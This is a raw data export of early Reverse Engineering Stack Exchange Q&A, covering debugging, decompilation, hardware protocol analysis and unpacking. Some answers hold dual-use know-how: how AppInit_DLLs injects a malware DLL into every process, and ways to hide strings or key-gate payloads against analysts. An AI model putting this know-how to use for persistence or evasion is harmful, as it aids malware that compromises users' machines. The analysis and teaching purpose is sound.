A curious and useful feature of GDB is process recording, allowing an analyst to step forwards and backwards through execution, writing a continuous log of the changes to program state that allow for remarkably accurate playback of program code.

\n\n

Although we can all safely say the process recording log contains the executable's changes to the various data and control registers, the functionality is much more than keeping some serialized representation of the current continuation. For example, I've been able to reify the state of an executable that uses threads to modify shared memory.

\n\n

Certainly we can't expect time dependent code to work, but if threading code modifying shared state can, in general, be stepped through backwards and still work reliably again, what limitations does process recording have beyond the purely architectural challenges (i.e displaced stepping) specified in the documentation?

\n", "Title": "How does GDB's process recording work?", "Tags": "|gdb|debuggers|", "Answer": "

The feature is described in a bit more detail on GDB wiki:

\n
\n

How it works

\n

Process record and replay works by logging the execution of each\nmachine instruction in the child process (the program being debugged),\ntogether with each corresponding change in machine state (the values\nof memory and registers). By successively "undoing" each change in\nmachine state, in reverse order, it is possible to revert the state of\nthe program to an arbitrary point earlier in the execution. Then, by\n"redoing" the changes in the original order, the program state can be\nmoved forward again.

\n
\n

This presentation describes even more of the internals.

\n

In addition to above, for some remote targets GDB can make use of their "native" reverse execution by sending Remote Serial Protocol packets bc (backward continue) and bs (backward step). Such targets include:

\n\n" }, { "Id": "250", "CreationDate": "2013-03-25T09:56:00.087", "Body": "

I see this instruction in the beginning of several Windows programs.\nIt's copying a register to itself, so basically, this acts as a nop.\nWhat's the purpose of this instruction?

\n", "Title": "What is the purpose of 'mov edi, edi'?", "Tags": "|disassembly|windows|", "Answer": "

courtsey Hotpatching and the Rise of\nThird-Party Patches presentation at BlackHat USA 2006 by\nAlexander \nSotirov

\n\n

What Is Hotpatching?\nHotpatching is a method for modifying the behavior of an\napplication by modifying its binary code at runtime. It is a\ncommon technique with many uses:

\n\n

\u2022\ndebugging (software breakpoints)

\n\n

\u2022\nruntime instrumentation

\n\n

\u2022\nhooking Windows API functions

\n\n

\u2022\nmodifying the execution or adding new functionality to\nclosed-source applications

\n\n

\u2022\ndeploying software updates without rebooting

\n\n

\u2022\nfixing security vulnerabilities

\n\n

Hotpatches are generated by an automated tool that\ncompares the original and patched binaries. The functions that\nhave changed are included in a file with a .hp.dll extension.\nWhen the hotpatch DLL is loaded in a running process, the first\ninstruction of the vulnerable function is replaced with a jump to\nthe hotpatch.

\n\n

The /hotpatch compiler option ensures that the first instruction of\nevery function is a \nmov \nedi, \nedi \ninstruction that can be safely\noverwritten by the hotpatch. Older versions of Windows are not\ncompiled with this option and cannot be hotpatched.

\n" }, { "Id": "252", "CreationDate": "2013-03-25T14:41:09.427", "Body": "

I have an executable file and I would like to figure out which programming language was the source code written in. The first step would be to use a disassembler.

\n\n

What should be done after that ?

\n\n

Also, I read that determining which libraries are used during runtime would be a good indicator of the programming language being used. How should I determine which libraries are used ?

\n", "Title": "How should I go about trying to figure out the programming language that was used?", "Tags": "|linux|executable|", "Answer": "

There are several tools that I have used:

\n\n
    \n
  1. PEiD (PE iDentifier)
    2. \n
  2. I've also followed this guide and converted PEiD signatures to YARA signatures and simply used YARA
    3. \n
  3. TRiD can also provide another way to identify the compiler used
    4. \n
\n\n

It's also worth mentioning that if you submit a file to Virus Total, they will run TRiD against your binary.

\n\n

These tools are not always definitive, but they can generally give you the correct compiler (and therefore language) that was used.

\n" }, { "Id": "255", "CreationDate": "2013-03-25T17:02:44.300", "Body": "

A disassembler is supposed to produce a human readable representation of the binary program. But the most well known techniques: linear sweep and recursive traversal (see this comment for more) are known to be easily mislead by specific tricks. Once tricked, they will output code that will never be executed by the real program.

\n\n

Thought there exists new techniques and new tools more concerned about correctness (eg Jakstab, McVeto, ...), the notion of correctness of the output has never been properly defined, up to my knowledge, for disassemblers.

\n\n

What would be a good definition of a disassembler, what would be a proper definition of correctness for its output and how would you classify the existing disassemblers in regard of this definition of correction ?

\n", "Title": "What is a correct disassembler?", "Tags": "|obfuscation|disassembly|static-analysis|", "Answer": "

I'm the author of rdis and have put a bit of thought into this problem. I recommend taking a look at my blog if you have more questions after this.

\n\n

I would also refer you to Andrew Ruef's blog post Binary Analysis Isn't. The key take away is we often attempt to understand our programs with the context of compilers, and not necessarily as just a continuum of instructions. He coins the term, \"Compiler Output Analysis,\" which is more or less what we attempt to achieve in our disassemblers.

\n\n

Terms and Definitions

\n\n

Start over with your definitions of terms common to disassembly. We have data, or state, which can be composed of memory, registers, all the good stuff. We have code, which is a label we apply to data we expect the machine to execute (we'll come back to code). We have a program, which is an algorithm encoded in the data which, when interpreted by a machine, causes the data to be manipulated in a certain way. We have a machine which is a mapping of one state to another. We have instructions which, for our purposes, exist at a single point in time and are composed of specific pieces of data which control the way our machine manipulates data.

\n\n

Often times we believe our goal is the transformation of code, the data we expect to be executed by the machine, into a readable disassembly. I believe we do this because of our division of program analysis between Control-Flow Analysis (Code) and Data-Flow Analysis (Data). In program analysis, our code is state-less, and our data has state. In reality, our code is just data, it all has state.

\n\n

Program Recovery

\n\n

Instead, our goal should be the recovery of the program by observation or prediction of the machine. In other words, we are not interested in transforming data into a readable disassembly, but in discovering the instructions which will be interpreted by our machine.

\n\n

Additionally, our representation of the program should be stored separately from our stateless representation of data, which is usually the initial memory layout given to us by our executable file (ELF/PE/MACH-O/etc). Really, it should be stored in a directed graph. When I see a linear representation of memory with multiple locations labelled as instructions, I shutter. You don't know yet!

\n\n

I believe the next step in disassembly involves processes which make better predictions about machines by allowing for changes in state during the disassembly process. I believe we will have both emulated disassembly and abstract disassembly. Some people are, more or less, doing this already, though I am unsure if anyone is doing it expressly for the purpose of creating usable and understandable \"program recoveries\".

\n\n

You can see an example of the difference between a recursive disassembly of a program and an emulated disassembly of a program here.

\n\n

What is a correct disassembler?

\n\n

So, now to answer your question, \"What is a correct disassembler?\" I believe a correct disassembler is one which clearly defines the behavior of its program recovery process and adheres to this definition. Once we get disassemblers which do THAT, the better disassemblers will be the ones whose definitions best predict the behavior of the machines for which they recover programs.

\n" }, { "Id": "261", "CreationDate": "2013-03-25T21:45:01.723", "Body": "

How should I begin trying to reverse engineer this file format? The only thing I can think of is saving a simple file, and then dig in with a hex editor. But since the file format may be some kind of archive, that seems like the wrong approach. I've always been a little interested in the idea of reverse-engineering a file format, but I never actually attempted it. How should I begin?

\n\n

In particular, I am interested in Smart Notebook which loads and saves data into .notebook files. This is an undocumented proprietary file format. SMART is the leading manufacturer of white boards and their notebook software is therefore one of the most popular formats for educational (presentation) content. There is an open standard for whiteboard files and Open Sankore is an open source program that can open and save them. However, Smart Notebook is not fully compatible with the open whiteboard format so I really would like to understand the .notebook file format so that I can write software that makes use of it. The open stand (.iwb files) are zip archives that contain images and SVG data. It occurs to me that .notebook files may also be compressed or at least contain a number of sub-files within it (like images and swf files).

\n", "Title": "How to reverse engineer a proprietary data file format (e.g. Smartboard Notebook)?", "Tags": "|file-format|", "Answer": "

Well, obviously the particulars will very much depend on the particulars of the file format and what you expect to achieve in general. However, some steps will largely be the same. One thing you could do is:

\n\n
    \n
  1. try hard to find all kinds of clues about the format. This can be a small note in some bulletin board or the cached copy of some year old website that has since vanished. Often the gems won't pop up as top search results when you are looking for something specific enough. Weeding through pages of search results can make sense. Als make sure to use tools such as file which look for magic bytes and would be able to identify things not obvious to the naked eye.
    2. \n
  2. find a proprietary program that uses the format and is able to read/write it (you seem to have that)\n
      \n
    1. Use a trial & error technique such as making distinct changes to the document, saving them and observing and noting down the differences, AFAIK this is how the MS Office file formats were decoded initially for StarOffice (now OOo and LibreOffice)
      2. \n
    2. reverse engineer the program itself to find the core routines reading and writing the data format
      3. \n
    3. \n
  3. find an open source program in the same way -> read its source
    4. \n
\n\n

If you understand the language in which the program from option 3 is written, no problem at all. If you don't have that or if you are faced with other challenges then you have to resort to the good old technique outlined in point 2, patching gaps with pieces you gather with method 1.

\n\n

The point 2.1 should be obvious: you want to find out how recursive text is encoded? Type some text, format it, save, observe the change. Rinse, lather, repeat.

\n\n

Point 2.2 will take a lot more effort and should likely be used sparsely to make sure you got details from 2.1 right.

\n" }, { "Id": "265", "CreationDate": "2013-03-25T23:14:30.373", "Body": "

Can someone give a list of websites with good (and free) reverse engineering training exercises ?

\n", "Title": "Where to find (free) training in reverse engineering?", "Tags": "|obfuscation|cryptography|", "Answer": "

The Legend of R4ndom has a long series on a variety of reversing topics. http://thelegendofrandom.com/blog/sample-page
\nhttp://octopuslabs.io/legend/blog/sample-page.html

\n" }, { "Id": "287", "CreationDate": "2013-03-26T16:31:58.307", "Body": "

Assuming we have an assembly code, what are the known techniques that could be used to recover the variables used in the original high-level code ?

\n\n

Edit: By recovering variables, I do not mean recovering variable names, but trying to identify memory locations that are used to store temporary results that could be replaced by a variable in the high-level code. Also, I am not speaking about bytecodes, but real binary code with no type information, nor complete names embedded in it.

\n", "Title": "How to recover variables from an assembly code?", "Tags": "|decompilation|disassembly|static-analysis|", "Answer": "

(I was planning to make it a comment but it turned out rather long and it makes an answer on its own)

\n\n

Some of the comments mentioned the Hex-Rays decompiler. Its basic ideas are not a trade secret and are in fact described in the white paper by Ilfak Guilfanov which accompanies the presentation he gave in 2008.

\n\n

I'll paste the relevant part here:

\n\n
\n

Local variable allocation

\n \n

This phase uses the data flow analysis to connect registers from different basic blocks in order to convert\n them into local variables. If a register is defined by a block and\n used by another, then we will create a local variable covering both\n the definition and the use. In other words, a local variable consists\n of all definitions and all uses that can be connected together. While\n the basic idea is simple, things get complicated because of\n byte/word/dword registers.

\n
\n\n

It's simple on the surface but of course the implementation has to account for numerous details. And there's always room for improvement. There's this passage:

\n\n
\n

For the time being, we do not analyze live ranges of stack variables\n (this requires first a good alias analysis: we have to be able to\n prove that a stack variable is not modified between two locations). I\n doubt that a full fledged live range analysis will be available for\n stack variables in the near future.

\n
\n\n

So, for stack variables the approach right now is simple: each stack slot is considered a single variable for the whole function (with some minor exceptions). The decompiler relies here on the work done by IDA during disassembly, where a stack slot is created for each access by an instruction.

\n\n

One current issue is multiple names for the same variable. For example, the compiler may cache the stack var in a register, pass it to some function, then later reload it into another register. The decompiler has to be pessimistic here. If we can't prove that the same location contains the same value at two points in time, we can't merge the variables. For example, any time the code passes an address of a variable to a call, the decompiler has to assume the call may spoil anything after that address. So even though the register still contains the same value as the stack var, we can't be 100% certain. Thus the excess of variable names. User can override it with manual mapping, however.

\n\n

There are some ideas about introducing function annotations that would specify exactly how a function uses and/or changes its arguments (similar to Microsoft's SAL) which would alleviate this problem, but there are some technical implementation issues there.

\n" }, { "Id": "291", "CreationDate": "2013-03-26T16:48:45.367", "Body": "

I have a device with two chips without part numbers. It looks like their using RS232 for serial communication (proper setup, right voltage), but I do not know the bus settings (speed, parity, etc.). Is there any way to determine the bus settings without brute force (trying everything)?

\n\n

I have a multimeter and an oscilloscope on my workbench.

\n", "Title": "Determining RS232 bus settings", "Tags": "|communication|serial-communication|", "Answer": "

A simple logic analyzer, such as the Saleae is invaluable for finding simple transmit serial pins. Receive serial pins are harder due to them being silent.

\n\n

Are you sure that this is RS232 and not just serial? It's pretty rare to see RS232 on embedded systems unless they're industrial. RS232 goes way above TTL levels.

\n" }, { "Id": "298", "CreationDate": "2013-03-26T18:11:01.840", "Body": "

I have two chips that are connected using two lines. One appears to be the clock line (50% duty cycle), but it doesn't have to be (sometimes constant high). The other line appears to be totally random, but still digital. It might be data.

\n\n

There is a third line between the chips, but it appears to be for something else - it's on a way slower speed and is on another place on the PCB. It also doesn't use a pull-up, while the other two do.

\n\n

How can I find out what protocol (I2C, SPI, RS232, ...) is being used on the lines, if any standard?

\n", "Title": "Determining communication protocol", "Tags": "|communication|pcb|", "Answer": "

My guess is that the protocol is standard, using a non standard protocol between two devices involves using bitbanging which is not very useful.\nLet's assume then that the protocol is standard.\nIt's not SPI, SPI needs 4 lines To work. I2C needs two, RS232 needs only two.\nI don't know what the third line job is, maybe it's used for trigerring/synchronization between the chips.

\n\n

What now ? I would open the data sheet of the microcontroller and see what protocols the chips supports, usually if they are new 32bit SOC, they all support CAN, SPI, USART, etc.\nThen I would check the pinout of the corresponding lines, to see to which ports they are connected on the chip. This will point you to the exact protocol used.

\n\n

Then connect a logic analyzer, such as this one, which is bundled with a software that can dumo the data transfered acordding to the protocol.

\n" }, { "Id": "299", "CreationDate": "2013-03-26T18:51:06.220", "Body": "

To analyze the communication protocol between two chips running unknown firmware, we eavesdrop into the communication bus between the chips. In the ideal case, this is \u201cjust\u201d a matter of matching exposed paths on a PCB with the contacts of a logic analyzer.

\n\n

What if the chips are stacked in a package on package configuration? How can the contacts be exposed? Can the chips be separated? Does this damage the chips, or will they look as new afterwards?

\n", "Title": "Exposing the connectors in a package on package", "Tags": "|integrated-circuit|communication|", "Answer": "

Non Destructive

\n\n

Highly unlikely to be successful unless you have intimate knowledge of how the pacakges were epoxied together. If you did go this route it might be possible to break down the glue that binds the chips together a REing effort in its own right. Once you did that it might not be possible to join them back together without machinery to align the chips under x-ray. And even then the soder balls might not be too happy about what you have done to them...

\n\n

Destructive

\n\n

Since package on package usually means the chips are epoxied together you basically have to distroy the packages to get them appart. Once you did you could look at them under microscope and RE them that way. You could possibly separate them without damaging the interconnects and test the top chip... as a black box I would imagine the bottom chip woudln't work without the top one though since it is usually RAM at least in mobile devices.

\n\n

Related Info\nChristopher Tarnovsky and\nhttp://www.chipworks.com

\n\n

That company specializies in REing chips... and that is the sort of setup you would need to do it sucessfully. 1 million+ USD for something like an arm processor.

\n" }, { "Id": "302", "CreationDate": "2013-03-27T00:13:18.707", "Body": "

When reverse engineering programs, I often find functions like the one below. This function in particular has a set of nested if/else blocks (pink boxes) which would typically be fairly easy to follow. When code executes at the blue box however, the code becomes messy and can take either of two independent code paths (purple or yellow). If the developer had used a function (or not used an inline function) for the purple or yellow code blocks, this code would be much easier to reverse engineer. As a function, I can rename and comment on the code block, and the overall program becomes easier to read.

\n\n

My usual technique when I come across this kind of function is to apply colors to the code blocks like you see in the graph below. Is there a way for IDA to treat an arbitrary collection of code blocks as a function that is not called and/or are there better approaches to dealing with inline code and independent code blocks?

\n\n

\"Large

\n", "Title": "Treating independent code as a function in IDA Pro", "Tags": "|ida|", "Answer": "

It sounds like what you need is node groups. Since the very first implementation (5.0) IDA's graph view allowed to group several nodes into one \"super-node\" with a custom title. Just select the nodes you want to group with Ctrl-click and choose \"Group nodes\" from the context menu.

\n\n

For more info, see \"Graph node groups\" in IDA's help or online.

\n" }, { "Id": "306", "CreationDate": "2013-03-27T01:16:39.540", "Body": "

The latest (as of now) comic is titled \"Time\". It's a standard-looking comic though without much action, but the picture's alt title says \"Wait for it.\". I waited but nothing happened (tried in Opera and IE9) so I took a look at the page source.

\n\n

Next to the picture's <img> tag there was a <script> which included the following URL:

\n\n

http://imgs.xkcd.com/static/time07.min.js

\n\n

I tried to make sense of it, but I can't figure it out. Can someone explain how it works and what was supposed to happen?

\n", "Title": "Reverse engineering XKCD 1190", "Tags": "|javascript|websites|", "Answer": "

Somebody at XKCD fora pasted a link to this gist which contains a deobfuscated and annotated source along with some explanations:

\n\n
\n

The main part of Javascript that drives xkcd's \"Time\" comic (http://xkcd.com/1190/), deobfuscated and annotated. The bulk of the script seems to be an implementation of EventSource - which, while important, is not terribly interesting for our purposes, so I've omitted it here. After some Googling around, I am in fact fairly certain that the EventSource implementation used here is https://github.com/Yaffle/EventSource - after minifying and beautifying that code, it looks very similar to what shows up in time07.min.js.

\n
\n\n

As far as I can tell, it has no magic in it and serves just as a simple way for the server to let the client know when there is a new image.

\n" }, { "Id": "310", "CreationDate": "2013-03-27T08:23:11.430", "Body": "

I have a very messy PHP script of which I need to determine the function. I can't quite understand the code, it's really messy. Now I thought that I perhaps could reverse engineer this script.

\n\n

What I want to do is to run this script (eventually with specific parts commented) to gain a better understanding of what part of the script does what. With that information, I should be able to get a full understanding of the script.

\n\n

However, I do not want to change anything in the database on the server, I do not want that the script is going to mail things, etc. Basically, the script should be totally separated from the world, but I do want to see what it tries to do. So, for example, when the script runs a mail() function, I want to see that a mail would've been sent if the script wasn't separated from the world.

\n\n

I therefore need a copy of the server installation (Ubuntu Server 12.04), which isn't that hard. The hard part is that I need to have a system which acts like it is the outside world, but actually is a logging system in which I can see what's happening.

\n\n

Are there any tools that can do this? If not, how should I go in building it myself?

\n", "Title": "Secure RE-ing a PHP script", "Tags": "|tools|php|", "Answer": "

Since you already have the source file, I believe that there is a simpler and easier approach (as compared to rerouting network traffic on low levels would be to intercept the methods being called.)

\n\n

Firstly, identify and replace methods in your php file (remember to make a copy!). For example, if you want to intercept mail(), you can find mail( and replace it with shim_mail(. You can also do so for other interesting methods such as mysql_connect().

\n\n

Once you finish, add include 'shim.php'; at the top of your file. The \"shim\" will act as a layer between the php script and the actual method, so you can choose to log it to a text file, allow it to execute, or even point it to a replica database!

\n\n

shim.php\n \n\n

$logfile = 'log.txt';\n\nfunction shim_mysql_connect($server, $username, $password, $new_link = false, $client_flags = 0)\n{\n    file_put_contents($logfile, file_get_contents($logfile) . \"\\r\\nmysql_connect() to \" . $server . \" with username \" . $username . \" and password \" . $password);\n\n    // intercept the command and point it to the 'honeypot'\n    return mysql_connect('your_new_server', 'username', 'password');\n}\n\nfunction shim_mail($to, $subject, $message, $additional_headers = '', $additional_parameters = '')\n{\n    file_put_contents($logfile, file_get_contents($logfile) . \"\\r\\nmail() to \" . $to . \" with subject \" . $subject . \" and message \" . $message);\n\n    // don't actually send an email\n}\n\n?>\n
\n\n

In this shim file, you can add functions that you are interested to find out about (simply by copying the same method signature as the original file and printing relevant logs). By observing the log, you can probably find out a lot more about the php script!

\n\n

(while I was midway composing this, I realized that Daniel W. Steinbrook has also come up with a similar method. My method has a slight advantage that it is simpler without adding new dependencies, but runkit sounds like a more correct way. Either way, you can simply pick one that works!)

\n" }, { "Id": "311", "CreationDate": "2013-03-27T10:12:23.533", "Body": "

Java and .NET decompilers can (usually) produce an almost perfect source code, often very close to the original.

\n\n

Why can't the same be done for the native code? I tried a few but they either don't work or produce a mess of gotos and casts with pointers.

\n", "Title": "Why are machine code decompilers less capable than for example those for the CLR and JVM?", "Tags": "|decompilation|x86-64|x86|arm|", "Answer": "

Java and .NET both include a feature called "reflection", which makes it possible to access inner workings of a class and instances thereof, using runtime-generated strings that hold the names of those features. In C code, if one includes a structure definition:

\n
struct foo { int x,y,z,supercalifragilisticexpialidocious; };\n
\n

expressions that access field supercalifragilisticexpialidocious will generate machine code that accesses an int-sized object at offset 3*sizeof(int) in the structure, but nothing in the machine code will care about the name.

\n

In C# by contrast, if code that was running with suitable Reflection permissions were to generate the string x, y, z, supercalifragilisticexpialidocious, or woof somehow, and used Reflection functions to retrieve the value of the field having that name (if any) from an instance of that type, the Runtime would need to have access to the names of those fields. Even if a program would in fact never use Reflection to access the fields by name, there would generally be no way the Compiler could know that. Thus, compilers need to include within executable programs the names of almost all identifiers used the source code, without regard for whether anything would ever care about whether or not they did so.

\n" }, { "Id": "324", "CreationDate": "2013-03-27T14:20:54.423", "Body": "

I have an audio file in an unknown format. How should I try to determine its format ?

\n\n

Also, is it possible to do this by manual observation and not using any automated tool ?

\n", "Title": "How should I determine the format of this audio file?", "Tags": "|file-format|", "Answer": "

In addition to the fine suggestions in the other answers, here are some suggestions specific to audio:

\n\n\n" }, { "Id": "1327", "CreationDate": "2013-03-27T16:15:00.803", "Body": "

Can external libraries be used in Hopper scripts? I'd like to add PDB support to Hopper using pdbparse, but I haven't been able to get it to use external libraries.

\n\n

Alternatively, I suppose one could just dump the debug symbol offsets to a text file and read that, but it seems like a clunkier solution (since you wouldn't be able to, e.g., auto-download symbols from the MS Symbol Server).

\n", "Title": "Importing external libraries in Hopper scripts?", "Tags": "|disassembly|python|hopper|pdb|", "Answer": "

At the moment, there is no way to debug a dylib. I know that it is a real problem, and I plan to add such a feature in a future update.

\n\n

Another thing that will be added to Hopper is the ability to load multiple file in the same document, in order to disassemble things like kext for instance.

\n" }, { "Id": "1328", "CreationDate": "2013-03-27T16:24:44.427", "Body": "

I have a java class file. How do I find out the version of the compiler used to compile this file? I'm on Ubuntu Server 12.04.

\n", "Title": "Find out a Java class file's compiler version", "Tags": "|compilers|java|", "Answer": "

You're looking for this on the command line (for a class called MyClass):

\n\n

On Unix/Linux:

\n\n
javap -verbose MyClass | grep \"major\"\n
\n\n

On Windows:

\n\n
javap -verbose MyClass | findstr \"major\"\n
\n\n

You want the major version from the results. Here are some example values:

\n\n\n" }, { "Id": "1346", "CreationDate": "2013-03-28T09:26:54.353", "Body": "

Apple developer network site has a small guide about setting up debugging symbols server for Safari browser on Windows. But it doesn't work. First, the link to actual symbols server \ngets redirected from http to https, but then it just 404s. \nNow, I know that Safari isn't supported on Windows any longer, but I wanted to play with existing version. Any idea if the symbols are actually available somewhere?

\n", "Title": "Safari windows debugging symbols", "Tags": "|debugging-symbols|safari|", "Answer": "

Your best bet is to contact Adam Roben directly for the symbol files. He seems to be the person who put these out 5 years ago.

\n\n

You can find his email and some more information regarding symbol server at the following links.\nhttp://trac.webkit.org/changeset/35512
\nhttps://lists.webkit.org/pipermail/webkit-dev/2008-August/004741.html
\nhttp://mac-os-forge.2317878.n4.nabble.com/Safari-for-Windows-symbol-server-updated-td177872.html

\n" }, { "Id": "1347", "CreationDate": "2013-03-28T09:39:52.443", "Body": "

What's a working tool/methodology to work cooperatively on the same binary (if possible in parallel), that is proven to work?

\n\n
\n\n

I used various methods long ago to share information with others, but not in parallel:

\n\n\n\n

However, none of these were really efficient. I am looking for better methodologies and tools for collaborative work.

\n", "Title": "Tools to work cooperatively on the same binary", "Tags": "|tools|disassembly|static-analysis|ida|", "Answer": "

I don't see Ghidra in the lists in the other answers, probably because this question was asked in 2013, and Ghidra has only more recently been made available to the public.

\n\n

Ghidra comes with built-in cooperative working tools. Each user who wishes to cooperate on a reverse engineering project would connect to Ghidra server. This is a simple server that can be run on any computer that these Ghidra users can all access. It provides network storage for the shared project too. It controls user access, provides file versioning, and supports check in, check out and version history. Quite neat.

\n" }, { "Id": "1349", "CreationDate": "2013-03-28T10:05:06.293", "Body": "

It's really a productivity bottleneck when various analysis tools can't share information.

\n\n

What's an efficient way to store symbols+comments+structures, so that they can be easily imported into other reversing tools?

\n\n
\n\n

I used to rely on SoftIce's IceDump extension to load/save IDA symbols, or load exported MAP symbols from IDA into OllyDbg via gofather+'s GoDup, but nothing recent nor portable.

\n", "Title": "Which format/tool to store 'basic' informations?", "Tags": "|disassembly|tools|debuggers|", "Answer": "

A potential tool would be QuarkLabs' qb-sync, which advertises:

\n\n\n" }, { "Id": "1356", "CreationDate": "2013-03-28T16:55:16.840", "Body": "

Text strings are usually easily read in a binary file using any editor that supports ASCII encoding of hexadecimal values. These text snippets can be easily studied and altered by a reverse engineer.

\n\n

What options does a developer have to encrypt these text snippets, and decrypt them, in runtime ?

\n", "Title": "Encrypting text in binary files", "Tags": "|obfuscation|c|c++|", "Answer": "

Some options which may or may not be applicable depending on your needs:

\n\n
    \n

  1. Avoid using strings to leak out interesting information when possible. For example if you are using strings to display error information or logging information, this can give any reverse engineer valuable details as to what might be going on in your application. Instead replace these strings with numerical error codes.

    2. \n

  2. Obfuscate all strings with some kind of symmetric algorithm like a simple XOR routine, or a crypto algorithm like AES. This will prevent the string from being discovered during a casual examination of your binary. I say 'obfuscate' as you will presumably be storing the crypto/xor key in your binary. Any reverse engineer who tries a little harder will surely recover the obfuscated strings.

    3. \n

  3. Encrypt all strings (make all the strings get linked into a separate section in your executable and encrypt this section) and store the decryption key outside of your binary. You could store the key remotely and restrict access server side where possible. So if a reverse engineer does get your binary they may not be able to access the key. The decryption key could also be generated dynamically on the users computer based off several predictable factors known about that users machine, essentially only allowing the encrypted data to be decrypted when run on this specific machine (or type of machine). This technique has been used by government malware to encrypt payloads for specific targets (If I can remember the link to the paper I read this in I will update answer).

    4. \n

  4. Get Creative, Store all strings in a foreign language and then at run time use an online translation service to translate the string back to your expected native language. This is of course not very practical.

    5. \n
\n\n

Of course if your strings do get decoded/decrypted at run time then a reverse engineer could just dump the process from memory in order to see the strings. For this reason it may be best to decode/decrypt individual strings only when needed (possibly storing the decoded string in a temporary location and zeroing it after use).

\n" }, { "Id": "1361", "CreationDate": "2013-03-28T20:28:48.750", "Body": "

What tools or methodology do you use to de-obfuscate Java classes?

\n\n
\n\n\n", "Title": "How do you deobfuscate Java classes?", "Tags": "|tools|java|deobfuscation|", "Answer": "

I am not exactly a Java expert but a while ago I researched the firmware of a car navigation system. For the java bits of it I used the \u201cJava Decompiler project\u201d and it seemed to work well for decompilation.

\n\n
\n

The \u201cJava Decompiler project\u201d aims to develop tools in order to\n decompile and analyze Java 5 \u201cbyte code\u201d and the later versions.

\n \n

JD-Core is a library that reconstructs Java source code from one or\n more \u201c.class\u201d files. JD-Core may be used to recover lost source code\n and explore the source of Java runtime libraries. New features of Java\n 5, such as annotations, generics or type \u201cenum\u201d, are supported. JD-GUI\n and JD-Eclipse include JD-Core library.

\n \n

JD-GUI is a standalone graphical utility that displays Java source\n codes of \u201c.class\u201d files. You can browse the reconstructed source code\n with the JD-GUI for instant access to methods and fields.

\n \n

JD-Eclipse is a plug-in for the Eclipse platform. It allows you to\n display all the Java sources during your debugging process, even if\n you do not have them all.

\n \n

JD-Core works with most current compilers including the following:

\n\n
jdk1.1.8\njdk1.3.1\njdk1.4.2\njdk1.5.0\njdk1.6.0\njdk1.7.0\njikes-1.22\nharmony-jdk-r533500\nEclipse Java Compiler v_677_R32x, 3.2.1 release\njrockit90_150_06\n
\n
\n" }, { "Id": "1370", "CreationDate": "2013-03-29T15:44:07.180", "Body": "

I am using JD-GUI to decompile Java JAR files, but the problem is that it leaves many errors, such as duplicate variables which I have to fix myself and check to see if the program still works (if I fixed the errors correctly).

\n\n

I also tried Fernflower, but that leaves blank classes if it's missing a dependency.

\n\n

I'd like to know which decompiler:

\n\n\n", "Title": "What is a good Java decompiler and deobfuscator?", "Tags": "|decompilation|tools|java|deobfuscation|jar|", "Answer": "

I'm using https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine\nIt's the decompiler from IntelliJ, it decompile codes where JD-GUI fail.

\n\n

It's a unofficial mirror to download:\nhttp://files.minecraftforge.net/maven/net/minecraftforge/fernflower/

\n" }, { "Id": "1374", "CreationDate": "2013-03-29T18:32:04.087", "Body": "

I'm a software guy through and through. But periodically when I'm taking apart hardware I know to look for JTAG ports and RS232 ports. So far I've always been lucky and have been able to solder on pins to the RS232 port and get a serial connection.

\n\n

For the times in the future that I am unlucky, can someone explain to me what JTAG is (i.e. is there only one type of JTAG and I can expect to hook it up to a single type of port, like a DB-9 for serial?) and how I would go about using it to dump firmware off an embedded system or is it all manufacturer specific?

\n", "Title": "How do I identify and use JTAG?", "Tags": "|hardware|jtag|", "Answer": "

For figuring out JTAG pinout, there are many hits on google for \"JTAG Finder\". I also have my own implementation:

\n\n

http://mbed.org/users/igorsk/code/JTAG_Search/

\n\n

It's for mbed but I tried to make it easily portable (original version was for a Stellaris board).

\n\n

Here's a quote from the comment which describes the basic approach:

\n\n
 The overall idea:\n 1) choose any 2 pins as TMS and TCK\n 2) using them, reset TAP and then shift DR, while observing the state of all other pins\n 3) for every pin that received anything like a TAP ID (i.e. bit 0 is 1):\n 4)   using the pin as TDI, feed in a known pattern into the TAP\n 5)   keep shifting and monitor the rest of the pins\n 6)   if any of the remaining pins received the pattern, it is TDO\n
\n" }, { "Id": "1375", "CreationDate": "2013-03-29T18:37:25.567", "Body": "

I've previously rolled my own Fuzzing Framework, and tried a few others like Peach Fuzzer. It's been awhile since I've looked at vulnerability hunting, what is the state of the art with regard to fuzzing? That is, if I were to start fuzzing Acme Corp's PDF Reader today, what toolset should I look into?

\n", "Title": "State of the Art Fuzzing Framework", "Tags": "|fuzzing|", "Answer": "

Don't know about the state of the art , but some advances have been in the direction of combining symbolic execution as with SAGE from MS Research (there should be a better paper, but I think it's paywalled). Also A Taint Based Approach for Smart Fuzzing shows how to combine taint analysis for advanced fuzzing (there should be some non-paywalled version around). Also, I expect most people don't really publish their advanced techniques until they exhaust them, which is the main problem of this question.

\n" }, { "Id": "1376", "CreationDate": "2013-03-29T18:58:10.950", "Body": "

I have a malware sample that adds a DLL to the registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs. There is malicious functionality in the DLL referenced by the registry key but this malware sample does not load or call the DLL, nor does it exhibit any other malicious behavior.

\n\n

Why would malware add a DLL to this registry key?

\n", "Title": "What happens when a DLL is added to AppInit_DLL", "Tags": "|windows|malware|dll|", "Answer": "

The implementation of AppInit DLL in windows 7 is as follows:

\n\n

In user32.dll!ClientThreadSetup the LoadAppInitDlls export from kernel32.dll is being called for any process except the LogonProcess.

\n\n

kernel32.dll!LoadAppInitDlls checks the LoadAppInit_DLLs registry key and if set calls BasepLoadAppInitDlls (except when offset 3 of the PEB has value 2).

\n\n

BasepLoadAppInitDlls calls LoadLibraryEx for each DLL set in the AppInit_DLLs registry key. If signing is required (when the RequireSignedAppInit_DLLs registry value is set) the LOAD_LIBRARY_REQUIRE_SIGNED_TARGET flag is passed to LoadLibraryEx.

\n\n

So by setting this registry key, the malware dll will be injected into every process started after setting this key. On previous OS versions AppInit DLL's were not called for non gui/console processes but at least on Windows 7 it's also called for non gui processes.

\n" }, { "Id": "1380", "CreationDate": "2013-03-29T20:43:20.327", "Body": "

When you unpack manually a Windows user-mode executable, you can easily break at its EntryPoint (or TLS), then trace until you reach the original EntryPoint. However that's not possible with a packed driver.

\n\n

How can you reliably unpack a Windows driver manually?

\n", "Title": "How can you reliably unpack a Windows driver manually?", "Tags": "|windows|unpacking|driver|", "Answer": "

nt!IopLoadDriver indirect call is used only for SERVICE_DEMAND start driver entry

\n\n

for boot loading drivers you would need to break on nt!IopInitializeBuiltInDriver indirect call as well

\n\n

you can see a short example on message #17 & #18 in this link

\n\n

